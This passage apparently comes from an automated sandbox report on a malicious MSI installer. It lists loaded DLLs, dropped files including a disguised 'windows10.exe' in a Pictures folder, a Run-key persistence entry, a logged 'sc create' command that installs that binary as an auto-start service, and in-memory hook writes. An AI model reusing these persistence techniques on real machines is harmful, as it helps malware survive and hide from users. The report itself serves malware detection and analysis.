Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Installer\MSIDD62.tmp	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\Installer\MSIDD62.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Installer\MSIDD62.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Installer\MSIDD62.tmp	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Installer\MSIDD62.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Installer\MSIDD62.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Installer\MSIDD92.tmp	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\Installer\MSIDD92.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Installer\MSIDD92.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Installer\MSIDD92.tmp	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Installer\MSIDD92.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Installer\MSIDD92.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: starburn.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: starburn.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: starburn.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: starburn.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: starburn.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: starburn.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: starburn.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: magnification.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: slwga.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: schedcli.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: security.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: olepro32.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: dxva2.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: idndl.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\Installer\MSIDD62.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020424-0000-0000-C000-000000000046}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: hBqTrQLya4.msi

Static file information: File size 31124992 > 1048576

Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdbC source: MSIDD62.tmp, 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmp, MSIDD62.tmp, 0000000C.00000000.1281513360.000000000042D000.00000002.00000001.01000000.00000004.sdmp, MSIDD92.tmp, 0000000D.00000000.1281837809.0000000000DBD000.00000002.00000001.01000000.00000005.sdmp, MSIDD92.tmp, 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmp, hBqTrQLya4.msi
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: hBqTrQLya4.msi
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdb source: MSIDD62.tmp, 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmp, MSIDD62.tmp, 0000000C.00000000.1281513360.000000000042D000.00000002.00000001.01000000.00000004.sdmp, MSIDD92.tmp, 0000000D.00000000.1281837809.0000000000DBD000.00000002.00000001.01000000.00000005.sdmp, MSIDD92.tmp, 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmp, hBqTrQLya4.msi

Source: initial sample

Static PE information: section where entry point is pointing to: .kC0

Source: StarBurn.dll.2.dr	Static PE information: section name: .didata
Source: StarBurn.dll.2.dr	Static PE information: section name: .ri$
Source: StarBurn.dll.2.dr	Static PE information: section name: .)5y
Source: StarBurn.dll.2.dr	Static PE information: section name: .kC0

Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_004081F0 push ecx; ret	12_2_00408203
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00D981F0 push ecx; ret	13_2_00D98203
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00BCB794 push 00BCB82Ah; ret	14_2_00BCB822
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00BCA3C8 push 00BCA465h; ret	14_2_00BCA45D
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00BCADB8 push 00BCAE20h; ret	14_2_00BCAE18
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00BCA69C push 00BCA738h; ret	14_2_00BCA730
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00BCA48C push 00BCA542h; ret	14_2_00BCA53A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00BCB028 push 00BCB222h; ret	14_2_00BCB21A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00BCA570 push 00BCA5BAh; ret	14_2_00BCA5B2
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00BCA569 push 00BCA5BAh; ret	14_2_00BCA5B2
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00BCB244 push 00BCB2E3h; ret	14_2_00BCB2DB
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00964084 push ecx; mov dword ptr [esp], edx	14_2_00964085
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00932050 push ecx; mov dword ptr [esp], eax	14_2_00932051
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_0095C078 push ecx; mov dword ptr [esp], ecx	14_2_0095C07C
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_009211A0 push ecx; mov dword ptr [esp], eax	14_2_009211A1
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_009611F8 push ecx; mov dword ptr [esp], ecx	14_2_009611FC
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_009A6138 push ecx; mov dword ptr [esp], edx	14_2_009A613A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00919120 push 009191B9h; ret	14_2_009191B1
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00960154 push ecx; mov dword ptr [esp], edx	14_2_00960155
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_0095F144 push ecx; mov dword ptr [esp], ecx	14_2_0095F148
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00921170 push ecx; mov dword ptr [esp], eax	14_2_00921171
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00960164 push ecx; mov dword ptr [esp], edx	14_2_00960165
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_0095D160 push ecx; mov dword ptr [esp], ecx	14_2_0095D164
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_0095A2D8 push ecx; mov dword ptr [esp], ecx	14_2_0095A2DC
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00959250 push ecx; mov dword ptr [esp], edx	14_2_00959251
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_0095E3AC push ecx; mov dword ptr [esp], ecx	14_2_0095E3B0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_0095D34C push ecx; mov dword ptr [esp], ecx	14_2_0095D350
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_009634A4 push ecx; mov dword ptr [esp], edx	14_2_009634A5
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_009624A8 push ecx; mov dword ptr [esp], edx	14_2_009624A9
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_0095A4C4 push ecx; mov dword ptr [esp], ecx	14_2_0095A4C8
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_009995DC push ecx; mov dword ptr [esp], edx	14_2_009995E1

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\msiexec.exe	Executable created and started: C:\Windows\Installer\MSIDD92.tmp			Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Executable created and started: C:\Windows\Installer\MSIDD62.tmp			Jump to behavior

Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDD62.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID6F5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID754.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID7D3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID686.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\Pictures\fotosdaviagem\StarBurn.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDD92.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID783.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDD62.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID6F5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID754.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID7D3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID686.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDD92.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID783.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR			Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Telegram Desktop			Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Registry value created or modified: HKEY_CURRENT_USER\Microsoft\Windows\CurrentVersion\Run windows			Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Registry value created or modified: HKEY_CURRENT_USER\Microsoft\Windows\CurrentVersion\Run windows			Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc create MeuServico binPath= "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" start= auto

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7416 base: 6E0005 value: E9 8B 2F 08 77	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7416 base: 77762F90 value: E9 7A D0 F7 88	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7416 base: 3750005 value: E9 2B BA FD 73	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7416 base: 7772BA30 value: E9 DA 45 02 8C	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7416 base: 3760008 value: E9 8B 8E 01 74	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7416 base: 77778E90 value: E9 80 71 FE 8B	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7416 base: 3990005 value: E9 8B 4D 0A 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7416 base: 75A34D90 value: E9 7A B2 F5 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7416 base: 39B0005 value: E9 EB EB 09 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7416 base: 75A4EBF0 value: E9 1A 14 F6 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7416 base: 39C0005 value: E9 8B 8A C1 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7416 base: 765D8A90 value: E9 7A 75 3E 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7416 base: 39D0005 value: E9 2B 02 C3 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7416 base: 76600230 value: E9 DA FD 3C 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8260 base: 720005 value: E9 8B 2F 04 77	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8260 base: 77762F90 value: E9 7A D0 FB 88	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8260 base: 740005 value: E9 2B BA FE 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8260 base: 7772BA30 value: E9 DA 45 01 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8260 base: 750008 value: E9 8B 8E 02 77	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8260 base: 77778E90 value: E9 80 71 FD 88	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8260 base: 770005 value: E9 8B 4D 2C 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8260 base: 75A34D90 value: E9 7A B2 D3 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8260 base: 780005 value: E9 EB EB 2C 75	Jump to behavior
